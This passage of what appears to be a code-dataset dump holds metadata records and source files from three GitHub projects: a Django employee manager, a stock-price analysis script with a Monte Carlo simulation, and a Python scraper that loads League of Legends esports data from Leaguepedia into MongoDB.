pagina in paginator.page_range %} <!-- traigo el numero de paginas del objeto de paginacion -->\n {% ifequal pagina page_obj.number %} <!-- comparacion para marcar la pagina en la que estoy -->\n <li class=\"current\"><span class=\"show-for-sr\">You're on page</span>{{ pagina }}</li>\n {% else %}\n <li><a href=\"?page={{ pagina }}\" aria-label=\"Page 2\">{{ pagina }}</a></li>\n {% endifequal %}\n\n {% endfor %}\n\n\n {% if page_obj.has_next %}\n <li class=\"pagination-next\">\n <a href=\"?page={{ page_obj.next_page_number }}\">Siguiente</a>\n </li>\n {% endif %}\n </ul>\n </nav>\n {% endif %}\n </div>\n </div>\n </div>\n\n{% endblock %}" }, { "alpha_fraction": 0.615160346031189, "alphanum_fraction": 0.6268221735954285, "avg_line_length": 27.66666603088379, "blob_id": "6c6a9e41572f10c0ba8638c98f8a5d7031fb5fb5", "content_id": "66466d1e1ac732e49e139ed3147b18fd536130f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "no_license", "max_line_length": 87, "num_lines": 12, "path": "/empleados/aplicaciones/departamento/urls.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import *\n\napp_name = \"departamento\"\n\nurlpatterns = [\n\n ##############################33 #Inicio Proyectoooo#################33\n path('list_departamento/',DepartamentoListView.as_view(),name=\"list_departamento\"),\n path('new_departamento/', NewDepartamento.as_view(), name=\"new_departamento\"),\n\n]" }, { "alpha_fraction": 0.6807131171226501, "alphanum_fraction": 0.6871961355209351, "avg_line_length": 37.625, "blob_id": "7670b5e73e7aab61f5ce1e8c1dd55e21592d2bc1", "content_id": "92ec8b55a4485adedd23a88831bc7f4e6a3724ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 617, "license_type": "no_license", "max_line_length": 109, "num_lines": 16, "path": "/empleados/aplicaciones/departamento/models.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nclass Departamento(models.Model):\n name = models.CharField('Nombre',max_length=50)#el nombre es como aparecera en el administrador de django\n short_name = models.CharField('Nombre Corto', max_length=50,blank=True)\n anulate = models.BooleanField('Anulado',default=False)\n\n class Meta:\n verbose_name= 'Mi departamento'\n verbose_name_plural = 'Mis departamentos'\n ordering = ['name']\n #unique_together = ('name','shor_name') #no permite que se registre un atributo dos veces\n\n def __str__(self):\n return self.name" }, { "alpha_fraction": 0.4867841303348541, "alphanum_fraction": 0.5066079497337341, "avg_line_length": 19.68181800842285, "blob_id": "4f17abdc9ac4f97f9da74cf98431d7fbb61a6aff", "content_id": "c1241c29bf06550d6702d359df99b9ee10614cb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 454, "license_type": "no_license", "max_line_length": 97, "num_lines": 22, "path": "/empleados/aplicaciones/departamento/templates/departamento_list.html", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "{% extends 'list.html' %}\n\n{% block buscador %}\n\n{% endblock %}\n\n{% block cabecera %}\n <th width=\"150\">ID</th>\n <th width=\"150\">Departamento</th>\n <th width=\"150\">Accion</th>\n\n{% endblock %}\n\n{% block cuerpo %}\n {% for d in consulta %}\n <tr>\n <td>{{ d.id }}</td>\n <td>{{ d.name }}</td>\n <td><a class=\"button warning\" href=\"{% url 'persona:area_empleado' d.name %}\">ver</a></td>\n </tr>\n {% endfor %}\n{% endblock %}" }, { "alpha_fraction": 0.6674917340278625, "alphanum_fraction": 0.6674917340278625, "avg_line_length": 49.54166793823242, "blob_id": "ab3ef1cb9ee358a5fa85c9a9884fdccdb0c0e04f", "content_id": "b5bd842f438c98630cfb68e1cafc4f921255c1ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1212, "license_type": "no_license", "max_line_length": 97, "num_lines": 24, "path": "/empleados/aplicaciones/persona/urls.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import *\nfrom django.conf import settings\nfrom django.conf.urls.static import static\napp_name = \"persona\"\n\nurlpatterns = [\n\n\n path('buscar-empleado/',ListarEmpleadosByKword.as_view()),\n path('listar-habilidades/',ListHabilidades.as_view()),\n path('success/',SuccessView.as_view(),name='correcto'),\n path('eliminar-empleado/<int:pk>/',EliminarEmpleado.as_view(),name='delete'),\n #####################URLS PRIMER PROYECTO############\n path('',InicioView.as_view(),name=\"home\"),\n path('listar-empleados/',ListAllEmpleados.as_view(),name='list_empleados'),\n path('ver-empleado/<int:pk>/', EmpleadoDetail.as_view(),name='empleado_detail'),\n path('area-empleado/<str:area>/', ListByAreaEmpleado.as_view(),name='area_empleado'),\n path('administrar-empleado/', ListAdministrarEmpleado.as_view(),name='administrar_empleado'),\n path('update-empleado/<int:pk>/', UpdateEmpleado.as_view(), name='update'),\n path('create-empleados/', EmpleadoCreateView.as_view(),name='create'),\n\n#############################URLS MULTIMEDIA #######################\n] + static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT) # LA puedo ver desde el servidor" }, { "alpha_fraction": 0.6767676472663879, "alphanum_fraction": 0.6767676472663879, "avg_line_length": 23.83333396911621, "blob_id": "c6d8a9b2d40493a3fe2683b5846a5f54039c1150", "content_id": "2939faf83a54c058deacf5155d6acdc42093ea6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 297, "license_type": "no_license", "max_line_length": 56, "num_lines": 12, "path": "/empleados/aplicaciones/home/urls.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom .views import *\n\napp_name= 'prueba'\n\nurlpatterns = [\n path('prueba/',IndexView.as_view(),name=\"correcto\"),\n path('Lista/',PruebaListView.as_view()),\n path('prueba-create/',PruebaCreateView.as_view()),\n path('foundation-list/',Foundation.as_view()),\n\n]" }, { "alpha_fraction": 0.6775510311126709, "alphanum_fraction": 0.6881632804870605, "avg_line_length": 32.135135650634766, "blob_id": "bb9c33f4193c169c3127d53d2cdcbfec3bc0f4c6", "content_id": "d6ca7ad93c398611093b81ea3a4e2fae08d0e451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1225, "license_type": "no_license", "max_line_length": 77, "num_lines": 37, "path": "/empleados/aplicaciones/persona/models.py", "repo_name": "omipareja/Gestor_Empleados", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom aplicaciones.departamento.models import Departamento\nfrom ckeditor.fields import RichTextField\n# Create your models here.\n\nclass Habilidades(models.Model):\n habilidades = models.CharField('Habilidad',max_length=50)\n\n\n class Meta:\n verbose_name = 'Habilidad'\n verbose_name_plural= 'Habilidades'\n\n def __str__(self):\n return self.habilidades\n\n\nclass Empleado(models.Model):\n JOB_CHOICES = (\n ('0','contador'),\n ('1','administrador'),\n ('2','economista')\n )\n first_name = models.CharField('Nombres',max_length=60)\n last_name = models.CharField('Apellidos',max_length=60)\n full_name = models.CharField('Nombre completo',max_length=120,blank=True)\n job = models.CharField('Trabajos',max_length=1,choices=JOB_CHOICES)\n departamento = models.ForeignKey(Departamento,on_delete=models.CASCADE)\n avatar = models.ImageField(upload_to='upload',blank=True,null=True)\n habilidades = models.ManyToManyField(Habilidades)\n #hoja_vida = RichTextField() #hace parte del plugin ckeditor\n def __str__(self):\n return self.first_name\n\n class Meta:\n verbose_name = 'Persona'\n verbose_name_plural= 'Personas'" } ]
14
ryk248/Stock_Market_Analysis
https://github.com/ryk248/Stock_Market_Analysis
3f9d8aa5bf1315d488cde0358aa39d02920ac527
c1fa8881c208c8fb579ed3aafe2261337047f507
36059d3d19582c885e7799d77d8f4e5bb44944ca
refs/heads/master
2021-05-09T03:04:54.358663
2018-01-28T06:04:29
2018-01-28T06:04:29
119,231,901
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7657021880149841, "alphanum_fraction": 0.7819336652755737, "avg_line_length": 53.5, "blob_id": "13a31c322518a626d50d4c688b2eb67c00a59d43", "content_id": "4c87ba65aaf69279e89948bbbac7069a78ee75fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1417, "license_type": "no_license", "max_line_length": 399, "num_lines": 26, "path": "/README.md", "repo_name": "ryk248/Stock_Market_Analysis", "src_encoding": "UTF-8", "text": "# Stock_Market_Analysis\nBasic Analysis of Stock Information\n\nOverview : In this project we will be looking at data from the stock market, particularly some technology stocks. We will learn how to use pandas to get stock information, visualize different aspects of it, and finally we will look at a few ways of analyzing the risk of a stock, based on its previous performance history. We will also be predicting future stock prices through a Monte Carlo method!\n\nAnswered the following questions:\n\n1.) What was the change in price of the stock over time?\n2.) What was the daily return of the stock on average?\n3.) What was the moving average of the various stocks?\n4.) What was the correlation between different stocks' closing prices?\n4.) What was the correlation between different stocks' daily returns?\n5.) How much value do we put at risk by investing in a particular stock?\n6.) How can we attempt to predict future stock behavior?\n\n### Programming languages used - Python\n\n### Packages used:\n1. Pandas\n2. NumPy\n3. Matplotlib\n4. Seaborn\n\n### Conclusion\nWe have looked at the 1% empirical quantile of the final price distribution to estimate the Value at Risk for the Google stock, which looks to be $6.23 for every investment of 251 (the price of one initial google stock).\nThis basically means for every initial stock you purchase your putting about $6.23 at risk 99% of the time from our Monte Carlo Simulation.\n" }, { "alpha_fraction": 0.6762616634368896, "alphanum_fraction": 0.6981931328773499, "avg_line_length": 22.80712127685547, "blob_id": "cb2735789d3a49363f1c5878a5879f96f3ab81b5", "content_id": "8a374fad20cc3707d060b6834ecce0ecd02db8a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8025, "license_type": "no_license", "max_line_length": 224, "num_lines": 337, "path": "/Code/Project.py", "repo_name": "ryk248/Stock_Market_Analysis", "src_encoding": "UTF-8", "text": "\n# coding: utf-8\n\n# In[2]:\n\n\nimport pandas as pd\nfrom pandas import Series,DataFrame\nimport numpy as np\n\n\n# In[3]:\n\n\n# For visualization\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('whitegrid')\nget_ipython().magic('matplotlib inline')\n\n\n# In[14]:\n\n\n#For reading stock from Yahoo\nimport pandas_datareader\nfrom pandas_datareader import data as pdr\n\n\n# In[15]:\n\n\n#For timestamp\nfrom datetime import datetime\n\n\n# In[16]:\n\n\n#Technology stocks used in the project\ntech_list = ['AAPL','GOOG','MSFT','AMZN']\n\n#Set start time and end time for data grab\nend_date = datetime.now()\nstart_date = datetime(end_date.year-1, end_date.month, end_date.day)\n\n#Grab stock prices from yahoo finance\nfor stock in tech_list:\n data = pdr.DataReader(stock,'yahoo',start_date, end_date)\n \nfor stock in tech_list: \n # Set DataFrame as the Stock Ticker\n globals()[stock] = pdr.DataReader(stock,'yahoo',start_date,end_date)\n\n\n# In[17]:\n\n\n#Summary status\nAAPL.describe()\n\n\n# In[18]:\n\n\n#General info\nAAPL.info()\n\n\n# In[19]:\n\n\n#Historical view of closing price\nAAPL['Adj Close'].plot(legend=True, figsize=(10,4))\n\n\n# In[20]:\n\n\n#Total volume of stock traded each day over the past one year\nAAPL['Volume'].plot(legend=True, figsize=(10,4))\n\n\n# In[27]:\n\n\n#Plot moving average\nmoving_average_day = [10,20,50]\nmoving_average_day_df = pd.DataFrame(moving_average_day)\n\nfor day in moving_average_day_df:\n column_name = \"Moving_Avg for %s days\" %(str(day))\n AAPL[column_name]=AAPL['Adj Close'].rolling(window=day, center=False).mean()\n \nAAPL[['Adj Close','Moving_Avg for 10 days','Moving_Avg for 20 days','Moving_Avg for 50 days']].plot(subplots=False, figsize=(10,4))\n\n\n# In[28]:\n\n\n#Calculate percent change for each day\nAAPL['Daily Return'] = AAPL['Adj Close'].pct_change()\n\n#Plot daily change\nAAPL['Daily Return'].plot(figsize=(10,4), legend=True, linestyle='--', marker='o')\n\n\n# In[29]:\n\n\n# Note the use of dropna() here, otherwise the NaN values can't be read by seaborn\nsns.distplot(AAPL['Daily Return'].dropna(),bins=100,color='purple')\n\n# Could have also done:\n#AAPL['Daily Return'].hist()\n\n\n# In[32]:\n\n\n# Grab all the closing prices for the tech stock list into one DataFrame\nclosing_df = pdr.DataReader(['AAPL','GOOG','MSFT','AMZN'],'yahoo',start_date,end_date)['Adj Close']\n\n\n# In[33]:\n\n\n# Let's take a quick look\nclosing_df.head()\n\n\n# In[34]:\n\n\n# Make a new tech returns DataFrame\ntech_rets = closing_df.pct_change()\n\n\n# In[35]:\n\n\n# Comparing Google to itself should show a perfectly linear relationship\nsns.jointplot('GOOG','GOOG',tech_rets,kind='scatter',color='seagreen')\n\n\n# In[36]:\n\n\n# We'll use joinplot to compare the daily returns of Google and Microsoft\nsns.jointplot('GOOG','MSFT',tech_rets,kind='scatter')\n\n\n# In[37]:\n\n\nfrom IPython.display import SVG\nSVG(url='http://upload.wikimedia.org/wikipedia/commons/d/d4/Correlation_examples2.svg')\n\n\n# In[38]:\n\n\n# We can simply call pairplot on our DataFrame for an automatic visual analysis of all the comparisons\nsns.pairplot(tech_rets.dropna())\n\n\n# In[39]:\n\n\n# Set up our figure by naming it returns_fig, call PairPLot on the DataFrame\nreturns_fig = sns.PairGrid(tech_rets.dropna())\n\n# Using map_upper we can specify what the upper triangle will look like.\nreturns_fig.map_upper(plt.scatter,color='purple')\n\n# We can also define the lower triangle in the figure, inclufing the plot type (kde) or the color map (BluePurple)\nreturns_fig.map_lower(sns.kdeplot,cmap='cool_d')\n\n# Finally we'll define the diagonal as a series of histogram plots of the daily return\nreturns_fig.map_diag(plt.hist,bins=30)\n\n\n# In[40]:\n\n\n# Set up our figure by naming it returns_fig, call PairPLot on the DataFrame\nreturns_fig = sns.PairGrid(closing_df)\n\n# Using map_upper we can specify what the upper triangle will look like.\nreturns_fig.map_upper(plt.scatter,color='purple')\n\n# We can also define the lower triangle in the figure, inclufing the plot type (kde) or the color map (BluePurple)\nreturns_fig.map_lower(sns.kdeplot,cmap='cool_d')\n\n# Finally we'll define the diagonal as a series of histogram plots of the closing price\nreturns_fig.map_diag(plt.hist,bins=30)\n\n\n# In[49]:\n\n\n# Let's go ahead and use sebron for a quick correlation plot for the daily returns\ncorrelation = tech_rets.dropna().corr()\nmask = np.zeros_like(correlation)\nmask[np.triu_indices_from(mask)] = True\nsns.heatmap(correlation, annot=True, mask=mask)\n\n\n# In[52]:\n\n\n# Let's start by defining a new DataFrame as a clenaed version of the oriignal tech_rets DataFrame\nrets = tech_rets.dropna()\n\narea = np.pi*20\n\nplt.scatter(rets.mean(), rets.std(),alpha = 0.5,s =area)\n\n#Set the plot axis titles\nplt.xlabel('Expected returns')\nplt.ylabel('Risk')\n\n# Label the scatter plots, for more info on how this is done, chekc out the link below\n# http://matplotlib.org/users/annotations_guide.html\nfor label, x, y in zip(rets.columns, rets.mean(), rets.std()):\n plt.annotate(\n label, \n xy = (x, y), xytext = (50, 50),\n textcoords = 'offset points', ha = 'right', va = 'bottom',\n arrowprops = dict(arrowstyle = '-', connectionstyle = 'arc3,rad=-0.3'))\n\n\n# In[53]:\n\n\n#Set up our time horizon\ndays = 365\n\n# Now our delta\ndt = 1/days\n\n# Now let's grab our mu (drift) from the expected return data we got for AAPL\nmu = rets.mean()['GOOG']\n\n# Now let's grab the volatility of the stock from the std() of the average return\nsigma = rets.std()['GOOG']\n\n\n# In[57]:\n\n\ndef stock_monte_carlo(start_price,days,mu,sigma):\n ''' This function takes in starting stock price, days of simulation,mu,sigma, and returns simulated price array'''\n \n # Define a price array\n price = np.zeros(days)\n price[0] = start_price\n # Schok and Drift\n shock = np.zeros(days)\n drift = np.zeros(days)\n \n # Run price array for number of days\n for x in range(1,days):\n \n # Calculate Shock\n shock[x] = np.random.normal(loc=mu * dt, scale=sigma * np.sqrt(dt))\n # Calculate Drift\n drift[x] = mu * dt\n # Calculate Price\n price[x] = price[x-1] + (price[x-1] * (drift[x] + shock[x]))\n \n return price\n\n\n# In[62]:\n\n\n# Get start price from GOOG.head()\nstart_price = 251\n\nfor run in range(100):\n plt.plot(stock_monte_carlo(start_price,days,mu,sigma))\nplt.xlabel(\"Days\")\nplt.ylabel(\"Price\") \nplt.title('Monte Carlo Analysis for Google')\n\n\n# In[63]:\n\n\n# Set a large numebr of runs\nruns = 10000\n\n# Create an empty matrix to hold the end price data\nsimulations = np.zeros(runs)\n\n# Set the print options of numpy to only display 0-5 points from an array to suppress output\nnp.set_printoptions(threshold=5)\n\nfor run in range(runs): \n # Set the simulation data point as the last stock price for that run\n simulations[run] = stock_monte_carlo(start_price,days,mu,sigma)[days-1];\n\n\n# In[64]:\n\n\n# Now we'lll define q as the 1% empirical qunatile, this basically means that 99% of the values should fall between here\nq = np.percentile(simulations, 1)\n \n# Now let's plot the distribution of the end prices\nplt.hist(simulations,bins=200)\n\n# Using plt.figtext to fill in some additional information onto the plot\n\n# Starting Price\nplt.figtext(0.6, 0.8, s=\"Start price: $%.2f\" %start_price)\n# Mean ending price\nplt.figtext(0.6, 0.7, \"Mean final price: $%.2f\" % simulations.mean())\n\n# Variance of the price (within 99% confidence interval)\nplt.figtext(0.6, 0.6, \"VaR(0.99): $%.2f\" % (start_price - q,))\n\n# Display 1% quantile\nplt.figtext(0.15, 0.6, \"q(0.99): $%.2f\" % q)\n\n# Plot a line at the 1% quantile result\nplt.axvline(x=q, linewidth=4, color='r')\n\n# Title\nplt.title(u\"Final price distribution for Google Stock after %s days\" % days, weight='bold');\n\n\n# In[65]:\n\n\n#Now we have looked at the 1% empirical quantile of the final price distribution to estimate the Value at Risk for the Google stock, which looks to be $6.23 for every investment of 251 (the price of one inital google stock).\n#This basically menas for every initial stock you purchase your putting about $6.23 at risk 99% of the time from our Monte Carlo Simulation.\n\n" } ]
2
tyleralgigi/mongoDB_scripts
https://github.com/tyleralgigi/mongoDB_scripts
725721878715ba0511594b218119e1771a988b15
45b58b003672c0cc21be712075244aae3a26c464
d68edc06f1ca9c963f9eadc674a8f6cc040501b3
refs/heads/main
2023-05-08T09:25:26.801881
2021-06-02T12:31:33
2021-06-02T12:31:33
368,671,392
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7782805562019348, "alphanum_fraction": 0.814479649066925, "avg_line_length": 30.571428298950195, "blob_id": "2e266e0cd0420d7e1c4f90b7a0e5eae46cedd73f", "content_id": "19648abfccd2e82a3a713887c2ffd33eb149646c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 221, "license_type": "no_license", "max_line_length": 106, "num_lines": 7, "path": "/README.md", "repo_name": "tyleralgigi/mongoDB_scripts", "src_encoding": "UTF-8", "text": "# mongoDB_scripts\nCurrently being worked on\n\nScripts to update MongoDB database from liquipedia.net with current information about pro esports matches.\n\n\nCopyright 2021 - 2021, Tyler Algigi and the mongoDB_scripts contributors\n" }, { "alpha_fraction": 0.5154602527618408, "alphanum_fraction": 0.5208103656768799, "avg_line_length": 39.922706604003906, "blob_id": "b18d1f07d04d5ffba3128b3ffd384591de9d60a9", "content_id": "50b3f190f971b0d2b37c883f242192a4715c27b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25420, "license_type": "no_license", "max_line_length": 121, "num_lines": 621, "path": "/main.py", "repo_name": "tyleralgigi/mongoDB_scripts", "src_encoding": "UTF-8", "text": "import re\nimport pymongo\nimport mwclient\nimport requests\nimport json\nfrom datetime import datetime\nimport sys\nimport time\nfrom lxml import html\nimport leaguepedia_parser\nfrom bson.objectid import ObjectId\nfrom collections import OrderedDict\nfrom html import unescape\nimport os\n\n#site url\nsite = mwclient.Site('lol.fandom.com', path='/')\n\n#mongo db connection\nclient = pymongo.MongoClient(\"URL_FOR_DATABASE\")\ndb = client['lol']\n\n#date\ndt = datetime.today()\n\nchampCollection = db['champ']\nplayerCollection = db['players']\nteamCollection = db['teams']\nleaguesCollection = db['leagues']\neventsCollection = db['events']\nmatchesCollection = db['matches']\nseasonsCollection = db['seasons']\nsplitsCollection = db['splits']\ngamesCollection = db['games']\n\ndef getAllChampions():\n #https://lol.fandom.com/wiki/Special:CargoTables/Champions\n response = site.api('cargoquery', \n tables='Champions', \n fields='Name, BE, RP, Attributes, KeyInteger', \n limit='max', \n order_by='KeyInteger', \n )\n return response\n \ndef updateAllChampions():\n response = getAllChampions()\n champs = json.loads(json.dumps(response[\"cargoquery\"]))\n\n for champ in champs:\n data = champCollection.find_one({\n \"name\" : { \"$eq\" : champ['title']['Name']}\n })\n \n if \"&amp;\" in champ['title']['Name']:\n index = champ['title']['Name'].find(\"&amp;\")\n onehalf = champ['title']['Name'][:index]\n twohalf = champ['title']['Name'][index+5:]\n champ['title']['Name'] = onehalf + \"&\" + twohalf\n \n if data is None:\n try:\n print(\"adding \" + champ['title']['Name'])\n url = image(champ['title']['Name'])\n mydict = {'name': champ['title']['Name'], \n 'url': url, \n 'BE': champ['title']['BE'], \n 'RP': champ['title']['RP'], \n 'Attributes': champ['title']['Attributes'], \n 'KeyInteger': champ['title']['KeyInteger']}\n champCollection.insert_one(mydict)\n \n except:\n print(\"An exception occurred\")\n else:\n \n print(\"updating \" + champ['title']['Name'])\n url = image(champ['title']['Name'])\n mydict = {'name': champ['title']['Name'], \n 'url': url, \n 'BE': champ['title']['BE'], \n 'RP': champ['title']['RP'], \n 'Attributes': champ['title']['Attributes'], \n 'KeyInteger': champ['title']['KeyInteger']}\n champCollection.update_one({'name': champ['title']['Name']}, {\"$set\" : mydict}, upsert=True)\n\ndef image(name):\n url = \"https://lol.fandom.com/wiki/File:{}Square.png\".format(name)\n response = requests.get(url).content\n tree = html.fromstring(response)\n imageURL = tree.xpath('//*[@id=\"mw-content-text\"]/div[2]/p/a/@href')\n time.sleep(0.1)\n return imageURL[0]\n\ndef getChamp(champName):\n data = champCollection.find_one({\n \"name\" : { \"$eq\" : champName}\n })\n if data is None:\n response = site.api('cargoquery', \n tables='Champions', \n fields='Name, BE, RP, Attributes, KeyInteger', \n limit='max', \n where= f\"Name LIKE '%{champName}%'\"\n )\n if response['cargoquery'] is not None:\n champ = response['cargoquery'][0]['title']\n if \"&amp;\" in champ['title']['Name']:\n index = champ['title']['Name'].find(\"&amp;\")\n onehalf = champ['title']['Name'][:index]\n twohalf = champ['title']['Name'][index+5:]\n champ['title']['Name'] = onehalf + \"&\" + twohalf\n try:\n print(\"adding \" + champ['title']['Name'])\n url = image(champ['title']['Name'])\n mydict = {'name': champ['title']['Name'], \n 'url': url, \n 'BE': champ['title']['BE'], \n 'RP': champ['title']['RP'], \n 'Attributes': champ['title']['Attributes'], \n 'KeyInteger': champ['title']['KeyInteger']}\n _id = champCollection.insert_one(mydict)\n return str(_id.inserted_id)\n except:\n print(\"An exception occurred\")\n else: return str(data['_id'])\n\ndef getTeam(teamName):\n print(teamName)\n data = teamCollection.find_one({\n \"name\" : { \"$eq\" : teamName}\n })\n if data is None:\n response = site.api('cargoquery', \n tables='Teams', \n fields='Name, Short, Region', \n limit='1',\n where= f\"Name LIKE '%{teamName}%'\"\n )\n if response[\"cargoquery\"] != []:\n try:\n mydict = {\n \"image\": leaguepedia_parser.get_team_logo(teamName),\n \"name\": teamName,\n \"shortName\": response[\"cargoquery\"][0][\"title\"][\"Short\"],\n \"Region\": response[\"cargoquery\"][0][\"title\"][\"Region\"],\n \"Players\": []\n }\n _id = teamCollection.insert_one(mydict)\n print(\"created Team \" + str(_id.inserted_id))\n print(\"Update roster \")\n roster = getRoster(teamName)\n updateTeamRoster(roster, teamName)\n return (_id.inserted_id)\n except Exception as e:\n print(e)\n if teamName.find(\".\") != -1:\n index = teamName.find(\".\")\n teamName = teamName[:index]\n getTeam(teamName)\n else:\n print(\"Found team \" + str(data[\"_id\"]))\n return data[\"_id\"]\n \ndef updateTeamRoster(roster, teamName):\n idList = []\n print(teamName)\n for player in roster:\n _id = getPlayer(player[\"title\"][\"Player\"])\n if _id != None: \n idList.append(_id)\n myquery = {\"name\": teamName}\n newvalues = {\"$set\": { \"Players\" : idList}} \n teamCollection.update_one(myquery, newvalues, upsert=True)\n \ndef getRoster(teamName):\n response = site.api('cargoquery', \n tables='Players', \n fields='Player, Team, IsPersonality', \n limit='max',\n where= f\"IsPersonality = 'No' AND Team LIKE '%{teamName}%'\"\n )\n return response[\"cargoquery\"]\n\ndef getPlayer(name):\n data = playerCollection.find_one({\"summonerName\" : { \"$eq\" : name}})\n if data == None:\n response = site.api('cargoquery', \n tables = 'Players', \n fields = 'Player, Image, Name, Team, Role', \n limit = '1',\n where = f\"Player LIKE '%{name}%'\"\n )\n if response['cargoquery'] != []:\n mydict = {\n \"fullName\": unescape(response[\"cargoquery\"][0][\"title\"][\"Name\"]),\n \"role\": response[\"cargoquery\"][0][\"title\"][\"Role\"],\n \"summonerName\": name,\n \"image\": response[\"cargoquery\"][0][\"title\"][\"Image\"],\n \"team\": response[\"cargoquery\"][0][\"title\"][\"Team\"],\n }\n _id = playerCollection.insert_one(mydict)\n print(\"created player \" + str(_id.inserted_id))\n return _id.inserted_id\n print(\"No player with \" + name)\n return None\n else:\n print(\"Found player \" + str(data[\"_id\"]))\n return data[\"_id\"]\n\ndef league(name):\n print(\"here\")\n data = leaguesCollection.find_one({\n \"nameAbbr\" : { \"$eq\" :name}\n })\n if data is not None: return data\n else: return data\n\ndef event(leagueData):\n currentEvent = getCurrentEvent(leagueData['nameAbbr'])\n response = currentEvent['cargoquery'][0]['title']\n data = eventsCollection.find_one({\"name\" : { \"$eq\" : response['Name']}})\n if data is None:\n #if first tournament in response does not exist that means its just starting and needs to be added\n #update leagues torunamnetId \n \n dictTemp = {\n \"name\": response['Name'],\n \"currentSeasonId\": \"\",\n \"currentOverviewPage\": response['OverviewPage'],\n 'type': response['type']\n }\n _id = eventsCollection.insert_one(dictTemp)\n print(\"creating event \" + str(_id.inserted_id))\n \n #updating current event\n updateCurrentEvent(leagueData['nameAbbr'], str(_id.inserted_id), response['OverviewPage'])\n \n if response['type'] == 'League':\n overviewPageArr = response['OverviewPage'].split(\"/\")\n return overviewPageArr[1], str(_id.inserted_id), str(response['type']), str(response['DateStart'])\n else:\n return response['OverviewPage'][0:4], str(_id.inserted_id), str(response['type']), str(response['DateStart'])\n else:\n print(\"Found event \" + str(data[\"_id\"]))\n #updating current event\n if leagueData['currentEventId'] != ObjectId(data[\"_id\"]):\n updateCurrentEvent(leagueData['nameAbbr'], str(data[\"_id\"]), response['OverviewPage'])\n if response['type'] == 'League':\n overviewPageArr = response['OverviewPage'].split(\"/\")\n return overviewPageArr[1], str(data[\"_id\"]), str(response['type']), str(response['DateStart'])\n else:\n return response['OverviewPage'][0:4], str(data[\"_id\"]), str(response['type']), str(response['DateStart'])\n\ndef updateCurrentEvent(nameAbbr, _id, overviewPage): \n print(\"updating Current Event\")\n myquery = {\"nameAbbr\" : { \"$eq\" : nameAbbr}}\n newvalues = {\"$set\": { \"currentEventId\" : ObjectId(_id)}} \n leaguesCollection.update_one(myquery, newvalues, upsert=True)\n newvalues = {\"$set\": { \"currentOverviewPage\" : overviewPage}} \n leaguesCollection.update_one(myquery, newvalues, upsert=True)\n \ndef getCurrentEvent(name,year=str(dt.year)):\n print(\"Getting Tournament name from cargo table\")\n #whereString = '%{name}/{year}%'.format(name=name,year=year)\n whereString = '%{name}/%'.format(name=name)\n todayDate = datetime.today().strftime('%Y-%m-%d')\n date = '{date}'.format(date=todayDate)\n \n response = site.api('cargoquery',\n limit = '1',\n tables = \"Tournaments\",\n fields = \"OverviewPage, League, DateStart, Split, Name\",\n where = \"DateStart <= \\'{date}\\' AND OverviewPage LIKE \\'{name}\\'\".format(date=date, name=whereString),\n order_by=\"DateStart DESC\"\n )\n \n if response['cargoquery'] == []:\n response = site.api('cargoquery',\n limit = '10',\n tables = \"Tournaments\",\n fields = \"OverviewPage, League, DateStart, Split, Name\",\n where = f\"DateStart <= \\'{date}\\' AND Name LIKE '%{name}%'\",\n order_by=\"DateStart DESC\"\n )\n if response['cargoquery'] != []:\n response[\"cargoquery\"][0]['title']['type'] = \"Tournament\"\n else:\n if response['cargoquery'] != []:\n response[\"cargoquery\"][0]['title']['type'] = \"League\"\n\n return response\n\ndef season(seasonName, eventId):\n data = seasonsCollection.find_one({\n \"name\" : { \"$eq\" : seasonName},\n \"eventId\": { \"$eq\": ObjectId(eventId)}\n })\n if data is None:\n event = eventsCollection.find_one({\"_id\": { \"$eq\": ObjectId(eventId)}})\n \n if event[\"type\"] == \"Tournament\":\n \n mydict = {\n \"name\": seasonName,\n \"eventId\": ObjectId(eventId),\n \"currentSplit\": None,\n }\n _id = seasonsCollection.insert_one(mydict)\n \n print(\"Season created \" + str(_id.inserted_id))\n updateCurrentSeason(str(_id.inserted_id), eventId)\n return(_id.inserted_id, None)\n else:\n \n mydict = {\n \"name\": seasonName,\n \"eventId\": ObjectId(eventId),\n \"currentSplit\": \"\",\n }\n _id = seasonsCollection.insert_one(mydict)\n print(\"Season created \" + str(_id.inserted_id))\n updateCurrentSeason(eventId, str(_id.inserted_id))\n return(_id.inserted_id, event['currentOverviewPage'].split('/')[2])\n else:\n event = eventsCollection.find_one({\"_id\": { \"$eq\": ObjectId(eventId)}})\n print(\"Season found \" + str(data[\"_id\"]))\n if event['currentSeasonId'] != ObjectId(data[\"_id\"]):\n updateCurrentSeason(eventId, str(data[\"_id\"]))\n if event['type'] == 'League':\n return(data[\"_id\"], event['currentOverviewPage'].split('/')[2])\n else:\n return(data[\"_id\"], \"None\")\n\ndef updateCurrentSeason(eventId, _id):\n print(\"updating current season\")\n myquery = {\"_id\" : { \"$eq\" : ObjectId(eventId)}}\n newvalues = {\"$set\": { \"currentSeasonId\" : ObjectId(_id)}} \n eventsCollection.update_one(myquery, newvalues, upsert=True)\n\ndef split(splitName, seasonId, 